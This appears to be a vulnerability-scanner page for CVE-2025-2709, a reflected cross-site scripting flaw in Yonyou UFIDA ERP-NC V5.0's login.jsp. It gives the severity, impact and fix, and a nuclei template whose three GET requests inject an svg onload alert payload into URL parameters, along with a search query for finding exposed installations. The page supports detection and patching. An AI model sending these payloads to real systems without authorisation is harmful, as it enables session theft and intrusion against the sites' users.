CVE-2025-2709· yonyou / ufida erp-nc· CWE-79
Yonyou UFIDA ERP-NC V5.0 - Cross-Site Scripting
mediumseverity
6.1CVSS score
1%likelihood of exploitation, next 30 days
62%of all CVEs are less likely
Readycheck to confirm it
Yonyou UFIDA ERP-NC V5.0 is vulnerable to reflected cross-site scripting (XSS) via the key and redirect parameters in login.jsp. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.
Impact
Attackers can inject malicious JavaScript through multiple parameters in login.jsp, potentially stealing user credentials, session cookies, or redirecting users to malicious sites.
Fix
Upgrade to Yonyou UFIDA ERP-NC version 5.1 or later that properly sanitizes user input.
How to confirm it
Send: GET {{BaseURL}}/login.jsp?onlyOnePerVM=hebing%27%3E%3Csvg%20onload=alert(document.domain)%3E ; GET {{BaseURL}}/login.jsp?redirect=hebing%27%3E%3Csvg%20onload=alert(document.domain)%3E ; GET {{BaseURL}}/login.jsp?nodeid=hebing%27%3E%3Csvg%20onload=alert(document.domain)%3E
Positive when: contains "<svg onload=alert(document.domain)>" and "this explore not support plug in" AND contains in content_type "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2025-2709 -u <target>
The full check
id: CVE-2025-2709
info:
name: Yonyou UFIDA ERP-NC V5.0 - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
Yonyou UFIDA ERP-NC V5.0 is vulnerable to reflected cross-site scripting (XSS) via the key and redirect parameters in login.jsp. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.
impact: |
Attackers can inject malicious JavaScript through multiple parameters in login.jsp, potentially stealing user credentials, session cookies, or redirecting users to malicious sites.
remediation: |
Upgrade to Yonyou UFIDA ERP-NC version 5.1 or later that properly sanitizes user input.
reference:
- https://github.com/Hebing123/cve/issues/84
- https://nvd.nist.gov/vuln/detail/CVE-2025-2709
classification:
epss-score: 0.00957
epss-percentile: 0.61727
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2025-2709
cwe-id: CWE-79
cpe: cpe:2.3:a:yonyou:ufida_erp-nc:5.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 3
vendor: yonyou
product: ufida_erp-nc
fofa-query: icon_hash="1085941792"
tags: cve,cve2025,xss,erp-nc,ufida,yonyou,vuln
http:
- method: GET
path:
- "{{BaseURL}}/login.jsp?onlyOnePerVM=hebing%27%3E%3Csvg%20onload=alert(document.domain)%3E"
- "{{BaseURL}}/login.jsp?redirect=hebing%27%3E%3Csvg%20onload=alert(document.domain)%3E"
- "{{BaseURL}}/login.jsp?nodeid=hebing%27%3E%3Csvg%20onload=alert(document.domain)%3E"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<svg onload=alert(document.domain)>'
- 'this explore not support plug in'
condition: and
- type: word
part: content_type
words:
- 'text/html'
- type: status
status:
- 200References
Use this check only on systems you are authorised to test. Where the data comes from